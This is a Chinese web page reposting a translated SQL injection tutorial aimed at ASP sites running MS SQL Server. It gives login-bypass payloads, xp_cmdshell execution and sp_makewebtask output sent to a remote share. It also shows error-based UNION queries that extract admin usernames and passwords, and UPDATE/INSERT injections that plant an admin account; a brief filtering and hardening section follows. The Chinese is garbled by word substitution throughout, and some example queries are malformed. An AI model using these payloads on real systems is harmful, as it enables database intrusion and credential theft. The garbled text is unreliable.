设为主页 | 加入收藏 | 繁體中文

SQL Injection本领的演练

  详细材料:
  1.0绪论
  当一台机器只开放了80端口(这里指的是提供HTTP协议)时,可能你的大少数毛病扫描器都不克不及给到你很多有价值的信息(毛病信息),倘若这台机器的管理员是每每为他的办事器打PATCH的话,我们只好把打击的锋芒指向WEB办事打击了。SQL注入打击是WEB打击类型中的一种,这种打击没有什么特别的要求,只必要对方提供正常的HTTP办事,且不必要理会管理员是否是个“PATCH狂”。这类打击重要是针对某种WEB处理步伐(如ASP,jsP,PHP,CGI等等)的而进行。
  这篇文章不是在为左右介绍什么新“玩意”,SQL注入打击曩昔就不停广为传播着。我之所以如今才写这篇文章是由于我想把我最近实验所得的某些履历与积聚记录下来,盼望能给予读者某些参考吧。你也可以在“9.0我从哪里可以失掉更多相干材料?”的栏目中找到更多其他人所写的、关于SQL注入本领的相干材料。
  1.1什么是SQL注入?
  这种打击的要诀在于将SQL的查询/行为下令通过‘嵌入’的方式放入正当的HTTP提交请求中从而达到打击者的某种意图。如今很多的静态网页都市从该网页利用者的请求中失掉某些参数,然后静态的组成SQL请求发给数据库的。举个例子,当有某个用户必要通过网页上的用户登岸(用户身份验证)时,静态网页会将该用户提交下去的用户名与密码加进SQL扣问请求发给数据库,用于确认该用户提交的身份验证信息是否有用。在SQL注入打击的角度看来,这样可以使我们在发送SQL请求时通过修正用户名与/或密码值的‘范畴’区来达到打击的目的。
  1.2SQL注入必要什么(工具等)呢?
  一个(些)网页浏览器。
  2.0什么信息是你所必要找寻的呢?
  起首你必要找到允许提交数据的页面,如:登岸页面、搜刮页面、反应页面、等等。有的时间,某些HTML页面会通过POST下令将所必要的参数传递给其他的ASP页面。所以,有的时间你不会在URL路径中看到相干的参数。尽管云云,你仍可以通过查看HTML的源代码中的"FORM"标签来辨别是否有参数传递,相干的代码如下:
 


 
 

  在
的标签对间的每一个参数传递都有可能可以被利用(利用在打击的环境下)着SQL注入。
  2.1当你找不到有输入行为的页面时应该怎么办呢?
  你可以找一些相干ASP、jsP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特别URL,如:
  http://duck/index.asp?id=10
  3.0你应该怎样测试这些缺陷是否存在呢?
  起首先加入某些特别的字符标记,输入如:
  hi' or 1=1--
  寻找一些登岸页面,在其登岸ID与密码输入处,或URL中输入:
  - Login: hi' or 1=1--
  - Pass: hi' or 1=1--
  - http://duck/index.asp?id=hi' or 1=1--
  要是想以‘隐蔽’的方式进行此类测试,你可以把该HTML网页从网站上下载至当地硬盘,修正其隐蔽部门的值,如:
 

 
 

  要是左右是幸运的话估计如今已经可以不必要帐号与密码而‘乐成登岸’了。
  3.1为什么利用的是' or 1=1--呢?
  让我们来看看其他例子中利用'or 1=1--的重要性吧。有别于正常的登岸方式,利用这样的登岸方式可能可以失掉正常登岸中不克不及失掉的某些特别信息。用一个链接中失掉的ASP页来打比喻:
  http://duck/index.asp?category=food
  在下面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接乐成),这个ASP必需包含以下相干的代码(下面也是我们为了演示这个实验所写的代码):
  v_cat = request("category")
  sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
  set rs=conn.execute(sqlstr)
  正如我们所看到的,变量值将会事后处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
  SELECT * FROM product WHERE PCategory='food'
  这个请求将会返回通过WHERE条件比较后失掉的结果,在这个例子中也就是'food'了。如今假想一下要是我们把该URL改成这样的话:
  http://duck/index.asp?category=food' or 1=1--
  如今我们的变量v_cat的值就同等于"food' or 1=1--"了,如今要是我们要重新代入那条SQL请求的话,那条SQL请求将会是:
  SELECT * FROM product WHERE PCategory='food' or 1=1--'
  如今这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否即是'food'。至于末端部门的那两条'--'(破折号)则用于‘报告’MS SQL SERVER纰漏末端末了的那个'(单引号)。有的时间也可以利用'#'(井号)来代替'--'(双破折号)在这里的用法。
  无论怎样,要是对方不是一台SQL办事器(这里指的是MS SQL SERVER),或者你不克不及利用简单的要领去纰漏末了的那个单引号的话,你可以尝试:
  ' or 'a'='a
  这样的话整个SQL请求将会变为:
  SELECT * FROM product WHERE PCategory='food' or 'a'='a'
  它也会返回相同的结果。
  凭据实际环境,SQL注入请求是可以有多种静态变革的可能性的:
  ' or 1=1--
  " or 1=1--
  or 1=1--
  ' or 'a'='a
  " or "a"="a
  ') or ('a'='a
  4.0如安在SQL注入请求中加入即时执行下令?
  能够进行SQL注入的办事器通常都是一些疏于做体系性设置装备摆设查抄的机器,此时我们可以尝试利用SQL的下令执行请求。默许的MS SQL办事器是运转在SYSTEM用户级别下,这同等于体系管理员的执行与访问权限。我们可以利用MS SQL SERVER的扩展贮存过程(如master..xp_cmdshell等)来执行长途体系的某些下令:
  '; exec master..xp_cmdshell 'ping 10.10.1.2'--
  若失败可以尝试一下利用"(双引号)代替'(单引号)。
  下面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL下令)。若要检验下面这条PING下令是否乐成,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL办事器就可以了:
  #tcpdump icmp
  要是你不克不及从那台SQL办事器中失掉PING请求的话,并在SQL请求的返回值中失掉错误信息的话,有可能是由于该SQL办事器的管理员限制了WEB用户访问这些贮存过程了。
  5.0怎样可以获取到我发的SQL请求的相干返复书息呢?
  我们可以利用sp_makewebtask处理过程的相干请求写入URL:
  '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
  但先决条件是目标主机的文件夹“share”属性必需设置为“Everyone”。
  6.0怎样可以从数据库返回的ODBC错误信息失掉某些重要的数据呢?
  我们可以通过发送经心结构的SQL请求迫使MS SQL SERVER从返回的信息中透暴露我们想失掉的信息(如表名、列名等)。比喻有这么一个URL:
  http://duck/index.asp?id=10
  在下面的URL中我们可以尝试利用UNION子句的方式在整数'10'之后加入其他请求字符串出来的,如:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
  上例中的体系表INFORMATION_SCHEMA.TABLES包括了这台办事器中所有表的信息。至于TABLE_NAME地区就包括了每一个表的名称。我们之所以要选择这样写是由于我们晓得它是肯定存在的。换言之我们的SQL扣问请求就是:
  SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
  办事器接到请求数据后必将返回数据库的第一个表名。当我们利用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不克不及把字符串(nvarchar)转为整数型(int)时,体系就会产生错误。办事器会表现如下错误信息:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  table1' to a column of data type int.
  /index.asp, line 5
  十分好,这条错误信息报告了我们转换呈现错误的所有相干信息(包括我们想晓得的表名)。在这个实例中,我们晓得了第一个表名是“table1”。若要失掉下一个表名,我们可以发送这样的请求:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
  ERE TABLE_NAME NOT IN ('table1')--
  我们也可以通过LIKE来找寻相干的特别字:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
  输入失掉:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  admin_login' to a column of data type int.
  /index.asp, line 5
  6.1怎样找出表中的列名?
  我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来摆列出一个表的所有列名:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
  WHERE TABLE_NAME='admin_login'--
  输入表现为:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  login_id' to a column of data type int.
  /index.asp, line 5
  如今已经失掉第一个列的名称了,我们还可以用NOT IN ()失掉下一个列名:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
  WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
  输入失掉:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  login_name' to a column of data type int.
  /index.asp, line 5
  若连续反复这样的操纵,我们将可以失掉余下所有的列名,如"password"、"details"。当我们利用了下面的请求后就可以失掉(除了'login_id','login_name','password',details'之外的列名):
  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
  WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
  输入后失掉:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
  t if the statement contains a UNION operator.
  /index.asp, line 5
  6.2怎样找到我们必要的数据?
  如今我们必要鉴别出一些比较重要的表与列,我们可以用相同的本领扣问数据库从而失掉相干的信息。如今让我们问问"admin_login"表的第一个用户名是什么吧:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
  输入:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  neo' to a column of data type int.
  /index.asp, line 5
  晓得了一个管理员帐号是"neo"。末了,问问这个管理员帐号的密码是什么吧:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
  输入:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  m4trix' to a column of data type int.
  /index.asp, line 5
  如今我们可以用"neo"与他的密码("m4trix")来登岸体系了。
  6.3怎样失掉数字串值?
  在这里技能上表达的一种范围性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法失掉我们所必要的错误提示信息。举个例子,我们如今要尝试失掉帐号为"trinity"的密码,而它所对应的密码为"31173":
  http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
  这样我们大约只能失掉“Page Not Found”这样的错误提示。这其中的重要题目在于,在与整数(这个例子中为10)进行了合集(利用了UNION子句)当前这个密"31173"将会被体系转换为数值。这样的话这个UNION字句挪用就是‘正当’的了,SQL办事器将不会返回任何ODBC错误信息,因而我们是不可能失掉这些数字型数据的。
  为了办理这个题目,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试用下面的这条请求来代替原来的请求吧:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
  在这里我们只不外是加入了一个(+)加号与别的我们想加入的字符出来罢了(在ASCII中'+'即是0x2b)。我们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们失掉了数字串'31173',它也会变成'31173 morpheus'。
  在执行了convert()函数后,体系会尝试将'31173 morpheus'转换为整数型,SQL办事器肯定会返回这样的ODBC错误信息:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  31173 morpheus' to a column of data type int.
  /index.asp, line 5
  如今你可以晓得'trinity'的密码是'31173'了吧。
  7.0如安在数据库中更新/插入数据?
  当乐成地网络到表中所有的列后,我们就可以在表中UPDATE(升级/修正)原有的数据或者INSERT(加入)新的数据。打个比喻,我们要修正帐号"neo"的密码:
  http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
  加入一条新的记录:
  http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
  ', 'details') valueS (666,'neo2','newpas5','NA')--
  如今我们就可以以帐号"neo2"、密码"newpas5"登岸体系了。
  8.0怎样制止被SQL注入打击?
  过滤一些特别像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:
  -用户的输入
  -提交的URL请求中的参数部门
  -从cookie中失掉的数据
  至于数字值,将其转换为整数型之前必需有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。修正“Startup and run SQL Server”的用户运转级别为低级别。
  删除一系列你不必要的贮存过程,如:
  master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask 
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: